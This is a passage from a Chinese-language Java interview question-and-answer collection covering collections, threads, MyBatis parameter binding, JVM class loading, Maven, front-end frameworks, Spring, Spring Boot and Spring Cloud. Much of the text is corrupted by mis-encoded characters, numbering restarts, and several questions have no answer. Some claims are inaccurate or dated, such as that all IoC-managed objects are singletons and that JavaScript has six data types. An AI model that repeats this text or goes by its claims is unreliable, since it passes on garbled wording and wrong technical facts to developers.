(3)LinkedList集合不支持 高效的隨機(jī)隨機(jī)訪問(RandomAccess),因?yàn)榭赡墚a(chǎn)生二次項(xiàng)的行為。
(4)ArrayList的空間浪費(fèi)主要體現(xiàn)在在list列表的結(jié)尾預(yù)留一定的容量空間,而LinkedList的空間花費(fèi)則體現(xiàn)在它的每一個(gè)元素都需要消耗相當(dāng)?shù)目臻g。
應(yīng)用場景:
ArrayList使用在查詢比較多,但是插入和刪除比較少的情況,而LinkedList用在查詢比較少而插入刪除比較多的情況
6、實(shí)現(xiàn)多線程的幾種方式,多線程的應(yīng)用場景有哪些?
(1)、繼承Thread類,重寫run方法
(2)、實(shí)現(xiàn)Runnable接口,重寫run方法。【可以避免由于Java的單繼承特性而帶來的局限。適合多個(gè)線程去處理同一資源的情況】
(3)、實(shí)現(xiàn)Callable接口,重寫call方法。【有返回值,允許拋出異常】
(4)、使用線程池【減少創(chuàng)建新線程的時(shí)間,重復(fù)利用線程池中線程,降低資源消耗,可有返回值】
7、${}和#{}的區(qū)別
使用#{}:
(1)、傳入?yún)?shù),sql在解析的時(shí)候會(huì)加上" ",當(dāng)成字符串來解析,如 id = "id";
(2)、#{}能夠很大程度上防止sql注入;
使用${}:
(1)、傳入數(shù)據(jù)直接顯示在生成的sql中,sql在解析的時(shí)候值為id = id。
(2)、${}方式無法防止sql注入
最后:能用#{}時(shí)盡量用#{},但有些場合需要使用$。
注意MyBatis排序時(shí)使用order by 動(dòng)態(tài)參數(shù)時(shí)需要注意,用$而不是#(#會(huì)自動(dòng)拼接符號(hào))
8、描述一下JVM加載class文件的原理機(jī)制和特點(diǎn)。
Java中的所有類,都需要由類加載器裝載到JVM中才能運(yùn)行。JVM中類的加載是由類加載器(ClassLoader)和它的子類來實(shí)現(xiàn)的。在我們使用一個(gè)類之前,JVM需要先將該類的字節(jié)碼文件(.class文件)從磁盤、網(wǎng)絡(luò)或其他來源加載到內(nèi)存中(加載Class文件到JVM),并對字節(jié)碼進(jìn)行解析生成對應(yīng)的Class對象,這就是類加載器的功能。我們可以利用類加載器,實(shí)現(xiàn)類的動(dòng)態(tài)加載。在寫程序的時(shí)候,我們幾乎不需要關(guān)心類的加載,因?yàn)檫@些都是隱式裝載的,除非我們有特殊的用法,像是反射,就需要顯式的加載所需要的類。
Java類的加載是動(dòng)態(tài)的,它并不會(huì)一次性將所有類全部加載后再運(yùn)行,而是保證程序運(yùn)行的基礎(chǔ)類(像是基類)完全加載到j(luò)vm中,至于其他類,則在需要的時(shí)候才加載。這當(dāng)然就是為了節(jié)省內(nèi)存開銷。
進(jìn)一步提問:類加載的方式有幾種?區(qū)別是什么?
類裝載方式有兩類:隱式裝載和顯示裝載,其中顯示裝載又分2種方式。
(1)、隱式裝載,程序在運(yùn)行過程中當(dāng)碰到通過new 等方式生成對象時(shí),隱式調(diào)用類裝載器加載對應(yīng)的類到j(luò)vm中,比如
Dog dog = new Dog();【第一種方式】
(2)、顯式裝載,
【第二種方式】使用Class.forName()通過反射加載類型,并創(chuàng)建對象實(shí)例,比如
Class clazz = Class.forName(“Dog”);
Object dog =clazz.newInstance();
如果無法找到Dog,則拋出ClassNotFoundException。
【第三種方式】使用某個(gè)ClassLoader實(shí)例的loadClass()方法
Class clazz = classLoader.loadClass("Dog");
Object dog=clazz.newInstance();
如果無法找到Dog,則拋出ClassNotFoundException。
區(qū)別:
方式1和2使用的類加載器是相同的,都是當(dāng)前類加載器(即:this.getClass.getClassLoader)。
方式3由用戶指定類加載器。如果需要在當(dāng)前類路徑以外尋找類,則只能采用方式3。即第3種方式加載的類與當(dāng)前類分屬不同的命名空間。
方式1是靜態(tài)加載,方式2和3是動(dòng)態(tài)加載。
進(jìn)一步提問:java內(nèi)置的類加載器(ClassLoader)有哪些,簡述一下類加載器工作原理
Java的類加載器有三個(gè):
第一種是Bootstrap Loader(引導(dǎo)類加載器)。它的實(shí)現(xiàn)依賴于底層操作系統(tǒng),由C編寫而成,沒有繼承于ClassLoader類。根類加載器從系統(tǒng)屬性sun.boot.class.path所指定的目錄中加載類庫。默認(rèn)為jre目錄下的lib目錄下的class文件,該加載器沒有父加載器。負(fù)責(zé)加載虛擬機(jī)的核心類庫,如java.lang.*。Object類就是由根類加載器加載的。
第二種是Extended Loader(標(biāo)準(zhǔn)擴(kuò)展類加載器)。它的父加載器為根類加載器。由java編寫而成,是ClassLoader的子類。它從java.ext.dirs中加載類庫,或者從JDK安裝目錄jre\lib\ext子目錄下加載類庫。如果把用戶創(chuàng)建的jar文件放在該目錄下,也會(huì)自動(dòng)由擴(kuò)展類加載器加載。
第三種是AppClass Loader(應(yīng)用程序類路徑類加載器)。它的父加載器為擴(kuò)展類加載器。由java編寫而成,是ClassLoader的子類,它從環(huán)境變量classpath或者系統(tǒng)屬性java.class.path所指定的目錄中加載類,是用戶自定義的類加載器的默認(rèn)父加載器。
加載類時(shí),會(huì)以Bootstrap Loader→Extended Loader→AppClass Loader的順序來尋找類,如果找不到,就會(huì)丟出NoClassDefFoundError。
9、在一個(gè)類中,聲明了若干個(gè)static方法和非static方法,聲明的static方法能否直接訪問聲明的非static方法?
static方法不能直接訪問非static方法,因?yàn)閟tatic方法是屬于這個(gè)類本身的一個(gè)方法,在編譯期間就已經(jīng)確定了;而非static方法是屬于這個(gè)類的對象的方法,需要在實(shí)例化之后才能訪問到。即:static方法調(diào)用時(shí)不需要?jiǎng)?chuàng)建對象,可以直接調(diào)用,非static方法是要與對象關(guān)聯(lián)在一起的,必須創(chuàng)建一個(gè)對象后,才可以在該對象上進(jìn)行方法調(diào)用,若在static方法中訪問非static方法,非static方法不知道關(guān)聯(lián)到哪個(gè)對象上,將不能通過編譯。
進(jìn)一步提問:說一下靜態(tài)方法和非靜態(tài)方法都是在什么時(shí)候被裝載到內(nèi)存中的?
靜態(tài)方法(Static Method)與靜態(tài)成員變量一樣,屬于類本身,在類裝載的時(shí)候被裝載到內(nèi)存(Memory),不自動(dòng)進(jìn)行銷毀,會(huì)一直存在于內(nèi)存中,直到JVM關(guān)閉。
非靜態(tài)方法(Non-Static Method)又叫實(shí)例化方法,屬于實(shí)例對象,實(shí)例化后才會(huì)分配內(nèi)存,必須通過類的實(shí)例來引用。不會(huì)常駐內(nèi)存,當(dāng)實(shí)例對象被JVM 回收之后,也跟著消失。
進(jìn)一步提問:靜態(tài)方法怎樣訪問非靜態(tài)方法?
靜態(tài)方法不能直接使用本類的非靜態(tài)方法
解決方式有三種
(1)、兩個(gè)方法都改成非靜態(tài)
(2)、兩個(gè)方法都改成靜態(tài)
(3)、先創(chuàng)建類的實(shí)例,然后靜態(tài)方法再調(diào)用這個(gè)實(shí)例的非靜態(tài)方法
10、在Java中,對象什么時(shí)候可以被垃圾回收?
Java垃圾回收不是實(shí)時(shí)的,垃圾回收器的作用是查找和回收(清理)無用的對象。以便讓JVM更有效地使用內(nèi)存。垃圾回收器的運(yùn)行時(shí)間是不確定的,由JVM決定,在運(yùn)行時(shí)是間歇執(zhí)行的。也可以通過System.gc()來強(qiáng)制回收垃圾,但是這個(gè)命令下達(dá)后JVM不一定會(huì)立即響應(yīng)執(zhí)行,但間隔一小段時(shí)間基本都會(huì)執(zhí)行。
11、一個(gè)漢字占幾個(gè)字節(jié)
中文在不同編碼下占不定長的 2~4個(gè)字節(jié)。注意在utf-16中占用兩個(gè)字節(jié),在java 運(yùn)行時(shí)用UTF-16編碼在轉(zhuǎn)碼的時(shí)候會(huì)在前面加上表示字節(jié)順序的字符,這個(gè)字符稱為”零寬度非換行空格”(ZERO WIDTH NO-BREAK SPACE),用FEFF表示。FEFF占用兩個(gè)字節(jié)。
12、項(xiàng)目中使用Maven進(jìn)行構(gòu)建,有哪些優(yōu)勢?你使用過哪些maven命令?說一下maven中本地倉庫和遠(yuǎn)程倉庫的區(qū)別和聯(lián)系。
優(yōu)點(diǎn):
(1)創(chuàng)建項(xiàng)目,自動(dòng)關(guān)聯(lián)和下載依賴的jar包,統(tǒng)一維護(hù)jar包
(2)升級(jí)框架版本方便
常用 Maven 命令:
(1)、安裝項(xiàng)目到本地倉庫:mvn install
(2)、創(chuàng)建maven項(xiàng)目:mvn archetype:generate
(3)、驗(yàn)證項(xiàng)目是否正確:mvn validate
(4)、maven 打包:mvn package
(5)、只打jar包:mvn jar:jar
(6)、生成源碼jar包:mvn source:jar
(7)、產(chǎn)生應(yīng)用需要的任何額外的源代碼:mvn generate-sources
(8)、編譯源代碼: mvn compile
(9)、編譯測試代碼:mvn test-compile
(10)、運(yùn)行測試:mvn test
(11)、運(yùn)行檢查:mvn verify
(12)、清理maven項(xiàng)目:mvn clean
Maven倉庫關(guān)系:
maven的倉庫只有兩大類:1.本地倉庫 2.遠(yuǎn)程倉庫,在遠(yuǎn)程倉庫中又分成了3種:2.1 中央倉庫 2.2 私服 2.3 其它公共庫
運(yùn)行Maven的時(shí)候,Maven所需要的任何構(gòu)件都是直接從本地倉庫獲取的。如果本地倉庫沒有,它會(huì)首先嘗試從遠(yuǎn)程倉庫下載構(gòu)件至本地倉庫,然后再使用本地倉庫的構(gòu)件。
13、Thread.sleep(0)有沒有實(shí)際作用
觸發(fā)操作系統(tǒng)立刻重新進(jìn)行一次CPU競爭,操作系統(tǒng)重新計(jì)算線程的優(yōu)先級(jí)(包括當(dāng)前線程)。競爭的結(jié)果也許是當(dāng)前線程仍然獲得CPU控制權(quán),也許會(huì)換成別的線程獲得CPU控制權(quán)。
1、在項(xiàng)目中使用過哪些前端框架?
Vue(用于構(gòu)建用戶界面的 漸進(jìn)式框架,特點(diǎn):輕量級(jí)、雙向數(shù)據(jù)綁定、組件化)、
React(構(gòu)建用戶界面的 JAVASCRIPT 庫,特點(diǎn):只負(fù)責(zé)顯示、聲明式框架、數(shù)據(jù)驅(qū)動(dòng)DOM)、
Angular(前端JS框架,核心:MVVM、模塊化、自動(dòng)化雙向數(shù)據(jù)綁定、語義化標(biāo)簽、依賴注入等)、
QucikUI(企業(yè)級(jí)web前端開發(fā)解決方案)、
Layui(前端 UI 框架)、
Avalon(前端MVVM框架)、
還有Dojo、Ember、Aurelia等
2、js中如何查看某變量的數(shù)據(jù)類型?可以查看的數(shù)據(jù)類型有哪些?
使用typeof查看變量的數(shù)據(jù)類型。
javascript共有6種數(shù)據(jù)類型:
基本類型5種:number、string、boolean、null、undefined。引用類型1種:object
typeof檢測返回6種:undefined、boolean、string、number、object、function
3、前端進(jìn)行文件下載時(shí),能不能用ajax向后端發(fā)起請求?
Ajax不能實(shí)現(xiàn)文件下載功能
原因:ajax的返回值是json,text,html,xml類型,或者可以說ajax的接收類型只能是String字符串,不是流類型,所以無法實(shí)現(xiàn)文件下載。但用aja仍然可以獲得文件的內(nèi)容(可以讀取到返回的response,但只是讀取而已),該文件將被保留在內(nèi)存中,無法將文件保存到磁盤,這是因?yàn)閖avascript無法和磁盤進(jìn)行交互,否則這會(huì)是一個(gè)嚴(yán)重的安全問題,js無法調(diào)用瀏覽器的下載處理機(jī)制和程序,會(huì)被瀏覽器阻塞。
4、如何解決前后端交互過程中特殊字符的傳參(比如中文、特殊符號(hào)等)?
(這個(gè)問題屬于送分題,有一定項(xiàng)目經(jīng)驗(yàn)的人,都會(huì)注意到在前后端進(jìn)行交互時(shí),需要進(jìn)行decoder編碼-Encoder解碼的過程,防止亂碼)
進(jìn)一步提問:前后端數(shù)組傳參如何處理?
前端:數(shù)據(jù)使用JSON.stringify(str)處理
后端:數(shù)據(jù)轉(zhuǎn)換:List<Object> objectList = JSONObject.parseArray(str, Object.class)
5、FreeMarker、jsp、html 三者的區(qū)別
先說說freemarker和jsp的不同,運(yùn)行機(jī)制就不大一樣,jsp是編譯成繼承自servlet的class文件,運(yùn)行jsp就是運(yùn)行一個(gè)servlet(Java文件編譯后會(huì)產(chǎn)生一個(gè)class文件,最終執(zhí)行的就是這個(gè)class文件,JSP也一樣,它也要編譯成class文件。JSP不止要編譯,它還得要轉(zhuǎn)譯,首先把JSP轉(zhuǎn)譯成一個(gè)Servlet文件,然后再編譯成class文件。當(dāng)用戶訪問JSP時(shí)就執(zhí)行了class文件)。
而freemarker就是套模板,通過模板+內(nèi)容直接生成HTML然后輸出。
HTML(Hypertext Markup Language)文本標(biāo)記語言,它是靜態(tài)頁面,和JavaScript一樣是解釋性語言。
JSP(Java Server Page)Java服務(wù)端的頁面,它是動(dòng)態(tài)頁面,它是需要經(jīng)過JDK編譯后把內(nèi)容發(fā)給客戶端去顯示。
6、vue實(shí)例內(nèi)部和外部分別怎么調(diào)用vue中的方法?
內(nèi)部調(diào)用: this.operate();
外部調(diào)用:vm.operate(); (vm是vue實(shí)例名)
1、Spring:
(1)Spring中IOC和AOP的應(yīng)用場景。
AOP:面向切面編程。可以運(yùn)用在日志,事務(wù)和異常處理等。如果不使用aop,那么就必須在每個(gè)類和方法中去實(shí)現(xiàn)它們。代碼糾纏在一起。每個(gè)類和方法中都包含日志、事務(wù)或者異常處理甚至是業(yè)務(wù)邏輯。在一個(gè)這樣的方法中,很難分清代碼中實(shí)際做的是什么處理。AOP 所做的就是將所有散落各處的事務(wù)代碼集中到一個(gè)事務(wù)切面中。
AOP日志處理:使用Aop在接口方法上插入一行自定義的切面注解類,在切面處理類中可以記錄接口名稱、請求參數(shù)、請求ip、請求url、請求時(shí)間、響應(yīng)參數(shù)、響應(yīng)狀態(tài)、調(diào)用時(shí)長等;
AOP事務(wù)處理:Spring在方法訪問數(shù)據(jù)庫之前,自動(dòng)開啟事務(wù),當(dāng)訪問數(shù)據(jù)庫結(jié)束之后,自動(dòng)提交/回滾事務(wù);
AOP異常處理:自定義開啟環(huán)繞通知,一旦運(yùn)行接口報(bào)錯(cuò),環(huán)繞通知捕獲異常跳轉(zhuǎn)異常處理頁面。
IOC就是Inversion of Control,即控制反轉(zhuǎn),又稱依賴注入。它不是什么技術(shù),而是一種設(shè)計(jì)思想。在Java開發(fā)中,傳統(tǒng)的創(chuàng)建對象的方法是直接通過 new 關(guān)鍵字(之前我們通過 "類名 對象名 = new 類名( )"的方式進(jìn)行對象的創(chuàng)建,也就是說我們的程序負(fù)責(zé)對象的創(chuàng)建,控制了它是否被創(chuàng)建這件事情,這就叫做控制),而 spring 則是通過 IOC 容器來創(chuàng)建對象,也就是說我們將創(chuàng)建對象的控制權(quán)交給了 IOC 容器。這稱為控制反轉(zhuǎn)。概括的說就是:
IOC 讓程序員不再關(guān)注怎么去創(chuàng)建對象,而是關(guān)注于對象創(chuàng)建之后的操作,把對象的創(chuàng)建、初始化、銷毀等工作交給spring容器來做。
舉個(gè)例子:梳理這個(gè)問題在各種社會(huì)形態(tài)里如何解決:一個(gè)人(Java實(shí)例,調(diào)用者)需要一把斧子(Java實(shí)例,被調(diào)用者)
(1) 原始社會(huì)里,幾乎沒有社會(huì)分工。需要斧子的人(調(diào)用者)只能自己去磨一把斧子(被調(diào)用者)。對應(yīng)的情形為:Java程序里的調(diào)用者自己創(chuàng)建被調(diào)用者。
(2)進(jìn)入工業(yè)社會(huì),工廠出現(xiàn)。斧子不再由普通人完成,而在工廠里被生產(chǎn)出來,此時(shí)需要斧子的人(調(diào)用者)找到工廠,購買斧子,無須關(guān)心斧子的制造過程。對應(yīng)Java程序的簡單工廠的設(shè)計(jì)模式。
(3)進(jìn)入“按需分配”社會(huì),需要斧子的人不需要找到工廠,坐在家里發(fā)出一個(gè)簡單指令:需要斧子。斧子就自然出現(xiàn)在他面前。對應(yīng)Spring的依賴注入。
第一種情況下,Java實(shí)例的調(diào)用者創(chuàng)建被調(diào)用的Java實(shí)例,必然要求被調(diào)用的Java類出現(xiàn)在調(diào)用者的代碼里。無法實(shí)現(xiàn)二者之間的松耦合。
第二種情況下,調(diào)用者無須關(guān)心被調(diào)用者具體實(shí)現(xiàn)過程,只需要找到符合某種標(biāo)準(zhǔn)(接口)的實(shí)例,即可使用。此時(shí)調(diào)用的代碼面向接口編程,可以讓調(diào)用者和被調(diào)用者解耦,這也是工廠模式大量使用的原因。但調(diào)用者需要自己定位工廠,調(diào)用者與特定工廠耦合在一起。
第三種情況下,調(diào)用者無須自己定位工廠,程序運(yùn)行到需要被調(diào)用者時(shí),系統(tǒng)自動(dòng)提供被調(diào)用者實(shí)例。事實(shí)上,調(diào)用者和被調(diào)用者都處于Spring的管理下,二者之間的依賴關(guān)系由Spring提供。
生活中這種例子比比皆是,支付寶在整個(gè)淘寶體系里就是龐大的ioc容器,交易雙方之外的第三方資金管理中心。
(2)Spring依賴注入的方式有哪些?
【set設(shè)值注入、構(gòu)造函數(shù)注入、spring注解注入】
Spring IOC既可以通過XML的形式進(jìn)行bean與依賴注入配置,也可以通過注解的方式。(在springmvc中,我們一般使用xml進(jìn)行裝配,而springboot使用全注解的形式)
①通過XML的形式進(jìn)行bean與依賴注入
通常有兩種: 設(shè)值注入&構(gòu)造注入。
設(shè)值注入就是指要被注入的類中定義有一個(gè)setter()方法,并在參數(shù)中定義需要注入的對象。
構(gòu)造注入就是指要被注入的類中聲明一個(gè)構(gòu)造方法,并在此方法的參數(shù)中定義要注入的對象。
②注解的方式:
注解包含三部分:
| 組件類型注解--聲明當(dāng)前類的功能與職責(zé)
|| 自動(dòng)裝配注解--根據(jù)屬性特征自動(dòng)注入對象
||| 元數(shù)據(jù)注解--更細(xì)化的輔助IoC容器管理對象的注解
A、四種組件類型注解
@Component:組件注解,通用注解,該注解描述的類將被IoC容器管理并實(shí)例化
@Controller:語義注解,說明當(dāng)前類是MVC應(yīng)用中的控制類
@Service:語義注解,說明當(dāng)前類是Service業(yè)務(wù)服務(wù)類
@Repository:語義注解,說明當(dāng)前類作用于業(yè)務(wù)持久層,通常描述對應(yīng)Dao類
此外,在使用四種組件類型的注解時(shí),必須開啟組件掃描,詳細(xì)配置如下:
B、兩類自動(dòng)裝配注解
按類型裝配
@Autowired
@Inject
按名稱裝配
@Named
@Resource
優(yōu)先設(shè)置name屬性,若未包含name屬性,會(huì)按照@Autowired注入
C、元數(shù)據(jù)注解
@Primary--按類型裝配時(shí)出現(xiàn)多個(gè)相同類型的對象,擁有此注解對象優(yōu)先被注入
@PostContruct:相當(dāng)于init-method
@PreDestory:相當(dāng)于destory--method
@Scope:設(shè)置對象Scope屬性
@Value:為屬性注入靜態(tài)數(shù)據(jù)
(3)為什么非使用依賴注入,我要用到一個(gè)其他對象時(shí),new一個(gè)怎么就不好了。
本質(zhì)上都是創(chuàng)建對象,最大的區(qū)別還是生命周期的管理以及復(fù)雜依賴的處理。
①、生命周期
比如一個(gè)類或者接口全程只要一個(gè)實(shí)例,用依賴注入的話只需要注冊成單例即可,如果自己實(shí)例化的話你需要擼一個(gè)單機(jī)模式(餓漢、懶漢、線程安全等模式)的類,并發(fā)下還要考慮線程安全。
②、復(fù)雜依賴
如果這個(gè)類或者接口不依賴其他的類或者接口差異不明顯,如果依賴的類比較多的情況下(A依賴B,B又依賴C,C又依賴D,D又依賴其他)自己實(shí)例化會(huì)很麻煩。要?jiǎng)?chuàng)建A, 要先B、C、D先new一遍再new A。用ioc就快多了,A(B b),其他自動(dòng)創(chuàng)建,是不是快多了。
總結(jié):在程序中如果不是必須同一個(gè)對象多個(gè)實(shí)例時(shí),也就是一個(gè)對象只是在某個(gè)地方使用一下時(shí)new一下,依賴注入就比new一個(gè)對象更好,因?yàn)閚ew一個(gè)對象必選面臨頻繁創(chuàng)建和銷毀內(nèi)存實(shí)例對象的問題。而ioc管控下實(shí)例對象都是單例模式的,就是在程序運(yùn)行時(shí)始終只有一個(gè)對象實(shí)例生成不需要頻繁創(chuàng)建和銷毀,也因?yàn)樵趦?nèi)存中只有一個(gè)實(shí)例對象,減少內(nèi)存開銷。
(4)描述一下DispatcherServlet的工作流程?
(5)SpringMVC如何區(qū)分控制器返回的是頁面還是數(shù)據(jù)(比如JSON格式的數(shù)據(jù))
使用@ResponseBody注解,該注解用于將Controller方法返回的對象,通過適當(dāng)?shù)腍ttpMessageConverter轉(zhuǎn)化為指定格式后,寫入到Response對象的body數(shù)據(jù)區(qū)。
使用時(shí)機(jī):返回的數(shù)據(jù)不是html標(biāo)簽的頁面,而是其他某種格式的數(shù)據(jù)時(shí)(如json,xml等)。(如果是在程序中返回的html頁面代碼,也可以使用@ResponseBody,在HttpServletResponse寫入,設(shè)置ContentType為text/html)
(6)Spring全家桶有哪些?
Spring、Spring MVC、Spring Boot、Spring Cloud 、 Spring Security 、Spring Data
(7)Spring普通類與工具類如何調(diào)用service層方法,為什么不能直接使用注解調(diào)用?
Spring中的Service不是你想new就能new的,因?yàn)橥ㄟ^new實(shí)例化的對象脫離了Spring容器的管理,獲取不到注解的屬性值,所以會(huì)是null,就算調(diào)用service的類中有@Component注解加入了Spring容器管理,也還是null。
新建SpringContextUtil類,在application.xml配置SpringContextUtil,最后使用DictService dictService = (DictService) SpringContextUtil.getBean("dictService");
2、Springboot:
(1) SpringBoot中如何進(jìn)行單元測試?
導(dǎo)入spring-boot-starter-test依賴。測試類使用注解@SpringBootTest,測試的方法上加@Test注解。
(2) SpringBootApplication注解的作用。
@SpringBootApplication注解是一個(gè)組合注解,@SpringBootApplication注解的源碼我們發(fā)現(xiàn),它是由ComponentScan、SpringBootConfiguration、EnableAutoConfiguration等注解組合而成:
(3) 在一個(gè)Springboot+mybatis+mysql+oracle+redis+aop功能的項(xiàng)目中,在pom.xml中需要引入哪些jar包依賴?
進(jìn)一步提問:以redis為例,springboot 1.x與springboot 2.x引入的jar包有何不同?
在 springboot 1.5.x版本的默認(rèn)的Redis客戶端是Jedis實(shí)現(xiàn)的,springboot 2.x版本中默認(rèn)客戶端是用lettuce實(shí)現(xiàn)的。
3、SpringCloud:
(1)springCloud的核心組件有哪些,解決什么問題?
Eureka(注冊中心)
每個(gè)微服務(wù)都有一個(gè)EurekaClient組件,專門負(fù)責(zé)將這個(gè)服務(wù)的信息注冊到EurekaServer中,也就是告訴EurekaServer,自己在哪臺(tái)機(jī)器上,監(jiān)聽著哪個(gè)端口。而EurekaServer是一個(gè)注冊中心,里面有一個(gè)注冊表,保存了各服務(wù)所在的機(jī)器和端口號(hào)。
Feign(REST客戶端)
Feign是一個(gè)聲明式REST客戶端,主要是為了簡便服務(wù)調(diào)用,更快捷、優(yōu)雅地調(diào)用HTTPAPI。主要是實(shí)現(xiàn)原理是用動(dòng)態(tài)代理,你要是調(diào)用哪個(gè)接口,本質(zhì)就是調(diào)用Feign創(chuàng)建的動(dòng)態(tài)代理。
Ribbon(負(fù)載均衡)
Ribbon的作用是負(fù)載均衡,會(huì)幫你在每次請求時(shí)選擇一臺(tái)機(jī)器,均勻地把請求分發(fā)到各個(gè)機(jī)器上,默認(rèn)使用的最經(jīng)典的RoundRobin輪詢算法(如果發(fā)起10次請求,那就先讓你請求第1臺(tái)機(jī)器、然后是第2臺(tái)機(jī)器、第3臺(tái)機(jī)器,接著再來—個(gè)循環(huán),第1臺(tái)機(jī)器、第2臺(tái)機(jī)器。。。以此類推)
Hystrix(熔斷器)
微服務(wù)框架是許多服務(wù)互相調(diào)用的,要是不做任何保護(hù)的話,某一個(gè)服務(wù)掛了,就會(huì)引起連鎖反應(yīng),導(dǎo)致別的服務(wù)也掛。Hystrix是隔離、熔斷以及降級(jí)的一個(gè)框架。如果調(diào)用某服務(wù)報(bào)錯(cuò)或者掛了,就對該服務(wù)熔斷,在5分鐘內(nèi)請求此服務(wù)直接就返回一個(gè)默認(rèn)值,不需要每次都卡幾秒,這個(gè)過程,就是所謂的熔斷。但是熔斷了之后就會(huì)少調(diào)用一個(gè)服務(wù),此時(shí)需要做下標(biāo)記,標(biāo)記本來需要做什么業(yè)務(wù),但是因?yàn)榉?wù)掛了,暫時(shí)沒有做,等熔斷的服務(wù)恢復(fù)了,就可以手工處理這些業(yè)務(wù)。這個(gè)過程,就是所謂的降級(jí)。
Zuul(服務(wù)網(wǎng)關(guān))
Zuul微服務(wù)網(wǎng)關(guān),負(fù)責(zé)網(wǎng)絡(luò)路由。假設(shè)你后臺(tái)部署了幾百個(gè)服務(wù),現(xiàn)在有個(gè)前端兄弟要來調(diào)用這些服務(wù),難不成你讓他把所有服務(wù)的名稱和地址全部記住,這是不現(xiàn)實(shí)的,所以一般微服務(wù)架構(gòu)中都必然會(huì)設(shè)計(jì)一個(gè)網(wǎng)關(guān),所有請求都往網(wǎng)關(guān)走,網(wǎng)關(guān)會(huì)根據(jù)請求中的一些特征,將請求轉(zhuǎn)發(fā)給后端的各個(gè)服務(wù)。而且有一個(gè)網(wǎng)關(guān)之后,還有很多好處,比如可以做統(tǒng)一的降級(jí)、限流、認(rèn)證授權(quán)、安全,等等。
總結(jié)步驟:①服務(wù)注冊—》②服務(wù)發(fā)現(xiàn)—》③負(fù)載均衡—》④服務(wù)調(diào)用—》⑤隔離、熔斷與降級(jí)—》⑥網(wǎng)關(guān)路由
流程說明:各個(gè)服務(wù)啟動(dòng)時(shí),Eureka Client都會(huì)將服務(wù)注冊到Eureka Server,并且Eureka Client還可以反過來從Eureka Server拉取注冊表,從而知道其他服務(wù)在哪里。服務(wù)間發(fā)起請求的時(shí)候,基于Ribbon做負(fù)載均衡,從一個(gè)服務(wù)的多臺(tái)機(jī)器中選擇一臺(tái)。基于Feign的動(dòng)態(tài)代理機(jī)制,根據(jù)注解和選擇的機(jī)器,拼接請求URL地址,發(fā)起請求。發(fā)起請求是通過Hystrix的線程池來走的,不同的服務(wù)走不同的線程池,實(shí)現(xiàn)了不同服務(wù)調(diào)用的隔離,避免了服務(wù)雪崩的問題。如果前端、移動(dòng)端要調(diào)用后端系統(tǒng),統(tǒng)一從Zuul網(wǎng)關(guān)進(jìn)入,由Zuul網(wǎng)關(guān)轉(zhuǎn)發(fā)請求給對應(yīng)的服務(wù)。
(2)SpringCloud和Dubbo兩種微服務(wù)架構(gòu)有何區(qū)別?
Dubbo的定位始終是一款RPC框架,而SpringCloud的目標(biāo)是微服務(wù)架構(gòu)下的一站式解決方案。如果非要比較的話,Dubbo可以類比到NetflixOSS技術(shù)棧,而SpringCloud集成了NetflixOSS作為分布式服務(wù)治理解決方案,但除此之外SpringCloud還提供了配置、消息、安全、調(diào)用鏈跟蹤等分布式問題解決方案。
(3)SpringBoot和SpringCloud 側(cè)重點(diǎn)分別在哪些方面?
SpringBoot是Spring的一套快速配置腳手架,可以基于SpringBoot快速開發(fā)單個(gè)微服務(wù),SpringCloud是一個(gè)基于SpringBoot實(shí)現(xiàn)的云應(yīng)用開發(fā)工具;
SpringBoot專注于快速、方便集成的單個(gè)微服務(wù)個(gè)體,SpringCloud關(guān)注全局的服務(wù)治理框架;
SpringBoot使用了默認(rèn)大于配置的理念,很多集成方案已經(jīng)幫你選擇好了,能不配置就不配置,SpringCloud很大的一部分是基于SpringBoot來實(shí)現(xiàn)。SpringBoot可以離開SpringCloud獨(dú)立使用開發(fā)項(xiàng)目,但是SpringCloud離不開SpringBoot,屬于依賴的關(guān)系。
(4)springcloud如何實(shí)現(xiàn)服務(wù)的注冊和調(diào)用?
1)服務(wù)發(fā)布時(shí),指定對應(yīng)的服務(wù)名(服務(wù)名包括了IP地址和端口),將服務(wù)注冊到注冊中心(eureka 或者zookeeper)
2)注冊中心加@EnableEurekaServer,服務(wù)用@EnableDiscoveryClient,然后用ribbon或feign進(jìn)行服務(wù)直接的調(diào)用發(fā)現(xiàn)。(這一過程是springcloud自動(dòng)實(shí)現(xiàn) 只需要在main方法添加@EnableDisscoveryClient。同一個(gè)服務(wù)修改端口就可以啟動(dòng)多個(gè)實(shí)例)
4、mybatis:
(1)Mybatis中mapper.xml映射文件,通常都會(huì)寫一個(gè)Mapper接口與之對應(yīng),這個(gè)Mapper層接口是怎么能夠找到指定xml下的方法的?
Mapper接口是沒有實(shí)現(xiàn)類的,當(dāng)調(diào)用接口方法時(shí),接口全限名(就是映射文件中的namespace的值)+方法名拼接字符串作為key值,可唯一定位一個(gè)MapperStatement。在Mybatis中,每一個(gè)<select>、<insert>、<update>、<delete>標(biāo)簽,都會(huì)被解析為一個(gè)MapperStatement對象。
(2)Mybatis的Xml映射文件中,不同的Xml映射文件,id是否可以重復(fù)?
不同的Xml映射文件,如果配置了namespace,那么id可以重復(fù);如果沒有配置namespace,那么id不能重復(fù);原因就是namespace+id是作為Map<String,MapperStatement>的key使用的,如果沒有namespace,就剩下id,那么,id重復(fù)會(huì)導(dǎo)致數(shù)據(jù)互相覆蓋。有了namespace,自然id就可以重復(fù),namespace不同,namespace+id自然也就不同。
(3)Mybatis中使用MySQL和Oracle分頁的區(qū)別
MySQL分頁:(利用LIMIT關(guān)鍵字)計(jì)算參數(shù)為開始序號(hào)(startNum),要查的總條數(shù)(totalNum)
Oracle分頁:(利用自帶的rownum)計(jì)算參數(shù)為開始序號(hào)(startNum),結(jié)束序號(hào)(endNum)【注意:Oracle分頁利用其自帶的rownum,但是rownum在表中不能使用>號(hào)(比如select rownum,a.* from A a where rownum > n,查出的都是空),但是可以使用<。這是因?yàn)閞ownum是一個(gè)總是從1開始的偽列,Oracle認(rèn)為rownum>n(n>1的自然數(shù))這種條件依舊不成立,所以查不到記錄】
(4)Mybatis是如何將sql執(zhí)行結(jié)果封裝為目標(biāo)對象并返回的?
第一種是使用resultMap標(biāo)簽,逐一定義列名和對象屬性名之間的映射關(guān)系。
第二種是使用sql列的別名功能,將列別名書寫為對象屬性名,比如T_NAME AS NAME,對象屬性名一般是name,小寫,但是列名不區(qū)分大小寫,Mybatis會(huì)忽略列名大小寫,智能找到與之對應(yīng)對象屬性名,你甚至可以寫成T_NAME AS NaMe,Mybatis一樣可以正常工作。
進(jìn)一步提問:resultMap和resultType有啥區(qū)別?
